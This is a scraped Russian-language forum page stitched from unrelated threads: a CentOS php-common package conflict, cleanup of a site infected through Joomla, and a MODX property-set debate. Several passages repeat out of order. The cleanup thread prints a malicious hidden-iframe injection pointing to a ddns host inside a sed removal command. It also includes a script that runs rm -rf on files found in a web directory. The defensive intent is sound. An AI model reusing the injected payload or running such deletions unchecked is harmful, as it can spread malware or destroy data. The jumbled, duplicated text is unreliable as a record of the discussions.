Попробовал установить - пишет уже есть такой. Попробовал обновить - пишет, что некуда уже обновляться.
[root@agel-nash ~]# yum install php-common
Loaded plugins: fastestmirror, security
Loading mirror speeds from cached hostfile
* epel: mirror.awanti.com
Reducing CentOS-5 Testing to included packages only
Finished
Setting up Install Process
Package matching php-common-5.1.6-39.el5_8.x86_64 already installed. Checking for update.
Nothing to do
[root@agel-nash ~]# yum update php-common
Loaded plugins: fastestmirror, security
Loading mirror speeds from cached hostfile
* epel: mirror.awanti.com
Reducing CentOS-5 Testing to included packages only
Finished
Skipping security plugin, no data
Setting up Update Process
No Packages marked for Update
делать yum remove php-common боюсь, т.к. он тянет за собой еще кучу приложений.
[root@agel-nash ~]# yum remove php-common
Loaded plugins: fastestmirror, security
Setting up Remove Process
Resolving Dependencies
--> Running transaction check
---> Package php-common.x86_64 0:5.3.14-1.w5 set to be erased
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php-mbstring
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php-mcrypt
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php-cli
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php-bcmath
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php-xmlrpc
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php-pdo
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php-xml
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php-snmp
--> Processing Dependency: php-common = 5.3.14-1.w5 for package: php-gd
--> Running transaction check
---> Package php.x86_64 0:5.3.14-1.w5 set to be erased
--> Processing Dependency: php = 5.3.14-1.w5 for package: php-devel
--> Processing Dependency: php >= 4.0.4 for package: squirrelmail
---> Package php-bcmath.x86_64 0:5.3.14-1.w5 set to be erased
---> Package php-cli.x86_64 0:5.3.14-1.w5 set to be erased
--> Processing Dependency: php-cli >= 5.1.0-1 for package: php-pear
---> Package php-gd.x86_64 0:5.3.14-1.w5 set to be erased
---> Package php-mbstring.x86_64 0:5.3.14-1.w5 set to be erased
--> Processing Dependency: php-mbstring >= 4.1.0 for package: phpmyadmin
---> Package php-mcrypt.x86_64 0:5.3.14-1.w5 set to be erased
---> Package php-pdo.x86_64 0:5.3.14-1.w5 set to be erased
--> Processing Dependency: php-pdo = 5.3.14-1.w5 for package: php-mysql
---> Package php-snmp.x86_64 0:5.3.14-1.w5 set to be erased
---> Package php-xml.x86_64 0:5.3.14-1.w5 set to be erased
--> Processing Dependency: php-xml >= 5.1 for package: php-domxml-php4-php5
---> Package php-xmlrpc.x86_64 0:5.3.14-1.w5 set to be erased
--> Running transaction check
---> Package php-devel.x86_64 0:5.3.14-1.w5 set to be erased
---> Package php-domxml-php4-php5.noarch 0:1.21.2-1.el5 set to be erased
---> Package php-mysql.x86_64 0:5.3.14-1.w5 set to be erased
---> Package php-pear.noarch 1:1.4.9-8.el5 set to be erased
---> Package phpmyadmin.noarch 0:2.11.11.3-2.el5.rf set to be erased
---> Package squirrelmail.noarch 0:1.4.8-5.el5.centos.13 set to be erased
--> Finished Dependency Resolution
Dependencies Resolved
================================================================================
Package Arch Version Repository Size
================================================================================
Removing:
php-common x86_64 5.3.14-1.w5 installed 3.5 M
Removing for dependencies:
php x86_64 5.3.14-1.w5 installed 3.6 M
php-bcmath x86_64 5.3.14-1.w5 installed 29 k
php-cli x86_64 5.3.14-1.w5 installed 6.5 M
php-devel x86_64 5.3.14-1.w5 installed 3.1 M
php-domxml-php4-php5 noarch 1.21.2-1.el5 installed 22 k
php-gd x86_64 5.3.14-1.w5 installed 316 k
php-mbstring x86_64 5.3.14-1.w5 installed 2.0 M
php-mcrypt x86_64 5.3.14-1.w5 installed 42 k
php-mysql x86_64 5.3.14-1.w5 installed 215 k
php-pdo x86_64 5.3.14-1.w5 installed 121 k
php-pear noarch 1:1.4.9-8.el5 installed 1.8 M
php-snmp x86_64 5.3.14-1.w5 installed 33 k
php-xml x86_64 5.3.14-1.w5 installed 301 k
php-xmlrpc x86_64 5.3.14-1.w5 installed 74 k
phpmyadmin noarch 2.11.11.3-2.el5.rf installed 13 M
squirrelmail noarch 1.4.8-5.el5.centos.13 installed 14 M
Is this ok [y/N]: N
Exiting on user Command
Complete!
Т.е. если я правильно понимаю, то после удаления придется по новой настраивать squirrelmail, phpmyadmin как минимум. Или я не прав? Может есть какие-то другие способы установки? Например, не конфликтующую версию php-imap где-то вытащить и установить?
#!/bin/sh if [ -d "$1" ] then runFolder=$1 else runFolder=$PWD fi
function checkFile(){ runFolderName=$1 for endFile in `find $1 -type f -name "*js" -exec basename "{}" \; sed -r 's/(.*)\..*/\1/' | sort -u` do for delFile in `find $1 -type f \( -name "$endFile.js*" -not -name "$endFile.js" \)` do echo "FindFile: " $delFile $(rm -rf $delFile) done done }
checkFile $runFolder
4) удалил все iframe вставки в js файлах
find . -name "*.js" -type f | grep -rl 'http://trxgotvs.ddns.name' . | while read FILENAME; do sed -ie 's~document.write([[:graph:]]<iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http://trxgotvs.ddns.name/64da4cae75d07b0fcc017695df0981b.rew?11"></iframe>[[:graph:]]);~;~' $FILENAME; echo "$FILENAME"; done;
Всем спасибо за помощь. Хотя правда остался вопрос. С каких это перепугов появляются jse файлы...
если да:
- смотрите папку/подпапки images туда скорее всего залит index.php с вирусным скриптом (около 1кБ)
- когда правите js ставьте на них 444, временно поможет
- потом смотрите остальные папки на сайте (а потом и другие сайты тоже), там где не было скорее всего тоже залит index.php
WhiteKrol: Предлагаю закончить бессмысленный спор. Жду новых вопросов по сабжу.
По сабжу вопрос: Существует ли какое-то решение, благодаря которому можно было бы осуществить поиск какой-то фразы в сниппетах, чанках, шаблонах и документах? В Evo помню было такое счастье под названием Doc Finder
К вашему сведению, подход, который выбрал я позволяет в будущем при перезде на свой компонент не переделывать вызовы. А в случае "особых надобностей" мне все страницы/шаблоны и чанки нужно будет перелопатить, чтобы поправить вызов.
DiAksID: это не лирика, это, пардон, порнография. использовать Property Sets (средства, сделанного под свои особые надобности) в качестве примитивного хранилища базы товаров - "мсье знает толк в извращениях" (c)...
Не пойму к чему этот сарказм. На свой вопрос я получил ответ - готового решения нет. Собственно я в этоим и не сомневался, но решил уточнить. На вопрос зачем это нужно - я ответил. А чтобы не сочли меня халявщиком - рассказал каким способом я вышел из этой ситуации. На данный момент меня это решение устраивает и оно работает так, как от него и требуется. Я просто смотрю в будущее и понимаю, что без компонента тут не обойтись, но пока у меня нет времени и желания разбираться в написании этого самого компонента. Ну и раз речь зашла про "особые надобности", то тогда эти же самые наборы параметров добавляем к сниппету. Сам исходник сниппета меняем на
<?php
if(isset($$key)){
return $$key;
}
А вызов преобразовываем в
[[!FromNabor@PropertySetName? &key=`price_rub`]]
Все работает так же, как и в моем первом случае. Теперь я удовлетворил ваши "особые надобности"? Или дальше будем умничать?
WhiteKrol: Можно пример из жизни, где это использовалось бы? Так сказать для полного понимания.
10 сайтов обслуживаемых в рамках одной инсталяции (мультидоменность revo грубо говоря). Каждый сайт продвигает какой-то свой продукт, но порой встречаются предложения соседних продуктов по принципу кольцевого обмена. Каждая страница сайтов индивидуальна (продажник, подписаня, писмо 1, письмо 2, upsell, downsell, спец-предложения, акции и т.п. в общей сложности 500 страниц), поэтому вынести описания товаров в отдельный чанк невозможно.
А т.к. сейчас активно проводятся сплит-тесты с ценами/заголовками и т.п., то смена цены в контенте настоящая каторга - столько страниц перелопатить. Поэтому для каждого товара был создан набор параметров с такими ключами, как link_buy,price_rub,price_eur,price_doll,image_product и т.п. Вывод же значений этих ключей выводится сниппетом
Это все лирика. У меня есть еще 1 вопрос. Существует ли какое-то решение, благодаря которому можно было бы осуществить поиск какой-то фразы в сниппетах, чанках, шаблонах и документах? В Evo помню было такое счастье под названием Doc Finder
Вы предлагаете сделать собственную альтернативу наборам параметров, я правильно понял? :)
Нет. Я предлагаю просто сделать отдельный компонет для управления данными типа key-value для последующего вывода этих данных на страницах. Это не альтернатива. Это абсолютно для другого предназначено.
php-common ищи
Спасибо. А можно по подробнее?
Попробовал установить - пишет уже есть такой. Попробовал обновить - пишет, что некуда уже обновляться.
делать yum remove php-common боюсь, т.к. он тянет за собой еще кучу приложений.
Т.е. если я правильно понимаю, то после удаления придется по новой настраивать squirrelmail, phpmyadmin как минимум. Или я не прав? Может есть какие-то другие способы установки? Например, не конфликтующую версию php-imap где-то вытащить и установить?
В общем
1) удалил этот говно-сайт
2) удалил зараженные файлы php
3) Удалил файлы jse
4) удалил все iframe вставки в js файлах
Всем спасибо за помощь. Хотя правда остался вопрос. С каких это перепугов появляются jse файлы...
joomla ???
примерно такое
???
если да:
- смотрите папку/подпапки images туда скорее всего залит index.php с вирусным скриптом (около 1кБ)
- когда правите js ставьте на них 444, временно поможет
- потом смотрите остальные папки на сайте (а потом и другие сайты тоже), там где не было скорее всего тоже залит index.php
дырка /ru/forum/762978
P.S. могу помочь очистить, обращайтесь...
Да, действительно, один из сайтоиков на джумоле работал. Файл нашел. Спасибо большое.
Старт............
Пожалуй дам старт.
Предлагаю закончить бессмысленный спор. Жду новых вопросов по сабжу.
По сабжу вопрос: Существует ли какое-то решение, благодаря которому можно было бы осуществить поиск какой-то фразы в сниппетах, чанках, шаблонах и документах? В Evo помню было такое счастье под названием Doc Finder
а стоило бы задуматься.
К вашему сведению, подход, который выбрал я позволяет в будущем при перезде на свой компонент не переделывать вызовы. А в случае "особых надобностей" мне все страницы/шаблоны и чанки нужно будет перелопатить, чтобы поправить вызов.
Так-что идите лесом со своими умными мыслями.
это не лирика, это, пардон, порнография. использовать Property Sets (средства, сделанного под свои особые надобности) в качестве примитивного хранилища базы товаров - "мсье знает толк в извращениях" (c)...
Не пойму к чему этот сарказм. На свой вопрос я получил ответ - готового решения нет. Собственно я в этоим и не сомневался, но решил уточнить. На вопрос зачем это нужно - я ответил. А чтобы не сочли меня халявщиком - рассказал каким способом я вышел из этой ситуации. На данный момент меня это решение устраивает и оно работает так, как от него и требуется. Я просто смотрю в будущее и понимаю, что без компонента тут не обойтись, но пока у меня нет времени и желания разбираться в написании этого самого компонента. Ну и раз речь зашла про "особые надобности", то тогда эти же самые наборы параметров добавляем к сниппету. Сам исходник сниппета меняем на
А вызов преобразовываем в
Все работает так же, как и в моем первом случае. Теперь я удовлетворил ваши "особые надобности"? Или дальше будем умничать?
Можно пример из жизни, где это использовалось бы? Так сказать для полного понимания.
10 сайтов обслуживаемых в рамках одной инсталяции (мультидоменность revo грубо говоря). Каждый сайт продвигает какой-то свой продукт, но порой встречаются предложения соседних продуктов по принципу кольцевого обмена. Каждая страница сайтов индивидуальна (продажник, подписаня, писмо 1, письмо 2, upsell, downsell, спец-предложения, акции и т.п. в общей сложности 500 страниц), поэтому вынести описания товаров в отдельный чанк невозможно.
А т.к. сейчас активно проводятся сплит-тесты с ценами/заголовками и т.п., то смена цены в контенте настоящая каторга - столько страниц перелопатить. Поэтому для каждого товара был создан набор параметров с такими ключами, как link_buy,price_rub,price_eur,price_doll,image_product и т.п. Вывод же значений этих ключей выводится сниппетом
Это все лирика. У меня есть еще 1 вопрос. Существует ли какое-то решение, благодаря которому можно было бы осуществить поиск какой-то фразы в сниппетах, чанках, шаблонах и документах? В Evo помню было такое счастье под названием Doc Finder
Вы предлагаете сделать собственную альтернативу наборам параметров, я правильно понял? :)
Нет. Я предлагаю просто сделать отдельный компонет для управления данными типа key-value для последующего вывода этих данных на страницах. Это не альтернатива. Это абсолютно для другого предназначено.